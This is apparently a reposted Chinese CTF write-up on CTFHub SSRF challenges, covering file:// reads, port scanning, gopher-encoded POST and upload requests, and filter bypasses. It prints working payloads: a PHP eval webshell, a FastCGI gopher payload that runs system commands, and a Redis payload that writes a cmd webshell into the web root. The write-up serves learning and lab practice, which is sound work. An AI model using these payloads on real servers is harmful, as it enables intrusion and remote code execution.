从0学习CTF-从ctfhub来了解SSRF

admin 2024年9月13日16:55:12评论6 views字数 10189阅读33分57秒阅读模式

0x01 简介

服务器端请求伪造(Server-side request forgery 简称 SSRF),攻击者滥用服务器的功能,使其访问或操纵该服务器领域中的信息。他的具体流程如下图所示,可通过存在ssrf的机器来访问内网机器

从0学习CTF-从ctfhub来了解SSRF

在ctf中主要的考点有如何bypass和gopher协议结合利用

从0学习CTF-从ctfhub来了解SSRF

0x02 SSRF

内网访问

在了解ssrf,这个题目中就是直接访问内网机器

从0学习CTF-从ctfhub来了解SSRF

在题目的提示中有给出需访问本机的flag.php,于是直接访问即可

从0学习CTF-从ctfhub来了解SSRF

伪协议读取文件

file:///

可以尝试从文件系统中获取文件

dict://

能够引用允许通过DICT协议使用的定义或单词列表

sftp://

Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作

ldap://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息

对于这道题可用file://协议来读取文件,可以直接回显文件内容

file://http://

从0学习CTF-从ctfhub来了解SSRF

端口扫描

从0学习CTF-从ctfhub来了解SSRF

根据题目的提示,flag文件不在8000端口,这里就需要用到bp来爆破端口

从0学习CTF-从ctfhub来了解SSRF

指定需要爆破的范围

从0学习CTF-从ctfhub来了解SSRF

从结果可以看到最后开放的端口是8393

从0学习CTF-从ctfhub来了解SSRF

利用ssrf访问8393端口查看flag

从0学习CTF-从ctfhub来了解SSRF

POST请求

先分析源码

//index.php<?php  error_reporting(0);if (!isset($_REQUEST['url'])){  header("Location: /?url=_");  exit;}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);
//flag.php<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {  //仅允许本地访问    echo "Just View From 127.0.0.1";    return;}$flag=getenv("CTFHUB");$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) {  //POST提交key数据    echo $flag;    exit;}?>

分析完后我们就得先整理一下思路

  1. 得通过ssrf访问来通过本地访问的判断

  2. 需在提交参数的时候同时提交POST来对页面进行访问

这里提出的疑问就是该如何在ssrf提交post传参,这里就要介绍到gopher协议,关于gopher协议的一些描述

从0学习CTF-从ctfhub来了解SSRF

在了解到gopher协议可以模仿POST请求够就可以构造payload来进行访问

  • 注意Content-Length数据长度的大小要对应上

  • 题目中的key要对应上,php代码中有做验证

  • 数据要进行3次url编码,但是得是 _POST 开始的数据进行编码,且 / 不能编码处理

从0学习CTF-从ctfhub来了解SSRF

//gopher数据要进行3次url编码gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1Host: 127.0.0.1:80Content-Length: 36Content-Type: application/x-www-form-urlencodedkey=9b69bb6b18e7361f665a43a425079a7d
gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253d9b69bb6b18e7361f665a43a425079a7d# 注意换行处有%0a# 斜杠不用编码# url编码3次

再构造完成后,通过bp访问,可以成功访问到flag

从0学习CTF-从ctfhub来了解SSRF

上传文件

//index.php<?phperror_reporting(0);if (!isset($_REQUEST['url'])) {    header("Location: /?url=_");    exit;}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);
//flag.php<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){  //仅允许127.0.0.1的ip访问    echo "Just View From 127.0.0.1";    return;}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ //判断是否有上传文件    echo getenv("CTFHUB");    exit;}?>

在了解获取flag的需求后我们就可以构造数据包了,根据上一节的gopher协议可以提交POST数据,我们就先构造一个上传的数据包,可以先写一个html上传页面来抓一个上传的数据包,下面的html可供参考,注意参数的提交要根据具体题目进行替换

<!DOCTYPE html><html><head><title>SSRF gopher upload</title><meta charset="utf-8"></head><body><form action="http://challenge-1f43eeceb741db75.sandbox.ctfhub.com:10800/flag.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="go" /></form></body>

抓取到上传的数据包

POST /flag.php HTTP/1.1Host: challenge-1f43eeceb741db75.sandbox.ctfhub.com:10800Content-Length: 333Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryiiniH9kctLjtACUGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryiiniH9kctLjtACUGContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"123------WebKitFormBoundaryiiniH9kctLjtACUGContent-Disposition: form-data; name="file"; filename="php.php"Content-Type: application/octet-stream<?= eval($_POST[1])?>------WebKitFormBoundaryiiniH9kctLjtACUG--
gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520challenge-1f43eeceb741db75.sandbox.ctfhub.com%25253A10800%25250d%25250aContent-Length%25253A%252520333%25250d%25250aCache-Control%25253A%252520max-age%25253D0%25250d%25250aUpgrade-Insecure-Requests%25253A%2525201%25250d%25250aOrigin%25253A%252520null%25250d%25250aContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D----WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aUser-Agent%25253A%252520Mozilla/5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit/537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome/120.0.0.0%252520Safari/537.36%25250d%25250aAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252Cimage/apng%25252C*/*%25253Bq%25253D0.8%25252Capplication/signed-exchange%25253Bv%25253Db3%25253Bq%25253D0.7%25250d%25250aAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250d%25250aAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25250d%25250aConnection%25253A%252520close%25250d%25250a%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522PHP_SESSION_UPLOAD_PROGRESS%252522%25250d%25250a%25250d%25250a123%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522php.php%252522%25250d%25250aContent-Type%25253A%252520application/octet-stream%25250d%25250a%25250d%25250a%25253C%25253F%25253D%252520eval(%252524_POST%25255B1%25255D)%25253F%25253E%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG--# 可以将编码之后的 %25250A 替换为 %25250d%25250a# %25252F 替换为 /

最后题目判断上传了文件,获取flag

从0学习CTF-从ctfhub来了解SSRF

fastCGI协议

快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。

FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

工具:gopherus

一款快速生成Gopher协议payload的工具

他可以生成的payload有以下七种:

  1. MySQL (Port-3306)

  2. PostgreSQL(Port-5432)

  3. FastCGI (Port-9000)

  4. Memcached (Port-11211)

  5. Redis (Port-6379)

  6. Zabbix (Port-10050)

  7. SMTP (Port-25)

推荐用python2运行

从0学习CTF-从ctfhub来了解SSRF

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00# 再进行两次url编码

这里解释下为什么要进行多次url的编码,因为数据在传输至服务器时需要先解析一次,解析后的数据再传输到内网的服务器中需要再解析一次

从0学习CTF-从ctfhub来了解SSRF

最后获取flag的payload如下

gopher%253A%252F%252F127.0.0.1%253A9000%252F_%252501%252501%252500%252501%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252501%252504%252504%252500%25250F%252510SERVER_SOFTWAREgo%252520%252F%252520fcgiclient%252520%25250B%252509REMOTE_ADDR127.0.0.1%25250F%252508SERVER_PROTOCOLHTTP%252F1.1%25250E%252502CONTENT_LENGTH94%25250E%252504REQUEST_METHODPOST%252509KPHP_VALUEallow_url_include%252520%25253D%252520On%25250Adisable_functions%252520%25253D%252520%25250Aauto_prepend_file%252520%25253D%252520php%25253A%252F%252Finput%25250F%252517SCRIPT_FILENAME%252Fvar%252Fwww%252Fhtml%252Findex.php%25250D%252501DOCUMENT_ROOT%252F%252500%252500%252500%252500%252501%252504%252500%252501%252500%252500%252500%252500%252501%252505%252500%252501%252500%25255E%252504%252500%25253C%25253Fphp%252520system%252528%252527cat%252520%252Fflag_1bb7537b450781daa736cab535819c57%252527%252529%25253Bdie%252528%252527-----Made-by-SpyD3r-----%25250A%252527%252529%25253B%25253F%25253E%252500%252500%252500%252500

从0学习CTF-从ctfhub来了解SSRF

Redis协议

redis协议可以直接获取shell,操作步骤和上一节相似

从0学习CTF-从ctfhub来了解SSRF

两次url编码

gopher%253A%252F%252F127.0.0.1%253A6379%252F_%25252A1%25250D%25250A%2525248%25250D%25250Aflushall%25250D%25250A%25252A3%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525241%25250D%25250A1%25250D%25250A%25252434%25250D%25250A%25250A%25250A%25253C%25253Fphp%252520system%252528%252524_GET%25255B%252527cmd%252527%25255D%252529%25253B%252520%25253F%25253E%25250A%25250A%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525243%25250D%25250Adir%25250D%25250A%25252413%25250D%25250A%252Fvar%252Fwww%252Fhtml%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%25252410%25250D%25250Adbfilename%25250D%25250A%2525249%25250D%25250Ashell.php%25250D%25250A%25252A1%25250D%25250A%2525244%25250D%25250Asave%25250D%25250A%25250A

从0学习CTF-从ctfhub来了解SSRF

get传参cmd执行命令

从0学习CTF-从ctfhub来了解SSRF

Bypass

关于bypass的方法可以参考以下链接

https://cloud.tencent.com/developer/article/1942119

Url bypass

@  #@会进行隔断, 会访问最后一个域名或iphttp://www[email protected]@zhihu.com

从0学习CTF-从ctfhub来了解SSRF

数字IP bypass

<?php  error_reporting(0);if (!isset($_REQUEST['url'])) {  header("Location: /?url=_");  exit;}$url = $_REQUEST['url'];$domain = parse_url($url, PHP_URL_HOST);if (preg_match("/127|172|@/", $url)) {//禁止参数中存在127, 172, @字符  exit("hacker! Ban '/127|172|@/'");}if (preg_match("/127|172|@|./", $domain)) {//禁止参数中存在127, 172, @, .字符  exit("hacker! Ban '/127|172|@|./'");}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);
localhost0:802130706433  #十进制表示127.0.0.1

从0学习CTF-从ctfhub来了解SSRF

302跳转 Bypass

<?php  error_reporting(0);if (!isset($_REQUEST['url'])) {  header("Location: /?url=_");  exit;}$url = $_REQUEST['url'];if (preg_match("/127|172|10|192/", $url)) {//禁止参数中存在127, 172, 10, 192字符  exit("hacker! Ban Intranet IP");}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);

根据源代码解法同上,

从0学习CTF-从ctfhub来了解SSRF

DNS重绑定 Bypass

这里的题目源码同上

<?phperror_reporting(0);if (!isset($_REQUEST['url'])) {    header("Location: /?url=_");    exit;}$url = $_REQUEST['url'];if (preg_match("/127|172|10|192/", $url)) {    exit("hacker! Ban Intranet IP");}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);

https://lock.cmpxchg8b.com/rebinder.html这里主要的考点就是dns重绑定,在这个网站在a中填写一个dns的ip,在b中填写127.0.0.1就能达成效果从0学习CTF-从ctfhub来了解SSRF从0学习CTF-从ctfhub来了解SSRF从0学习CTF-从ctfhub来了解SSRF

原文始发于微信公众号(CatalyzeSec):从0学习CTF-从ctfhub来了解SSRF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日16:55:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0学习CTF-从ctfhub来了解SSRFhttps://cn-sec.com/archives/3153921.html

发表评论

匿名网友 填写信息